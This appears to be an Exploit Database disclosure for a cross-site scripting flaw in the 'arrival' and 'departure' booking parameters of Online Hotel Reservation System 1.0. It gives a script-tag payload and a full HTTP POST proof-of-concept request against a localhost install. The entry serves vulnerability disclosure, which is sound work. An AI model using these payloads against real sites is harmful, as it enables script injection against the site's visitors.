Online Hotel Reservation System 1.0 – ‘Multiple’ Cross-site scripting (XSS)

• Exploit Database
• 11 阅读

• 作者： Mohammad Koochaki
  日期： 2021-08-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50171/

• # Exploit Title: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
  # Date: 2021-08-02
  # Exploit Author: Mohammad Koochaki
  # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/marimar.zip
  # Version: 1.0
  # Tested-on: Ubuntu 20.04.2 LTS, PHP 7.4.3
  
  ### This application is prone to a cross-site scripting in the 'arrival' and 'departure' parameters at the following path:
  - http://localhost/marimar/index.php?p=booking
  
  ### Payload: "></div><script>alert("XSS-MSG")</script>
  
  ### PoC:
  
  POST /marimar/index.php?p=booking HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
  Firefox/78.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 71
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/marimar/index.php?p=booking
  Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
  Upgrade-Insecure-Requests: 1
  DNT: 1
  Sec-GPC: 1
  
  arrival="></div><script>alert("arrival")</script>&departure="></div><script>alert("departure")</script>&person=0&accomodation=0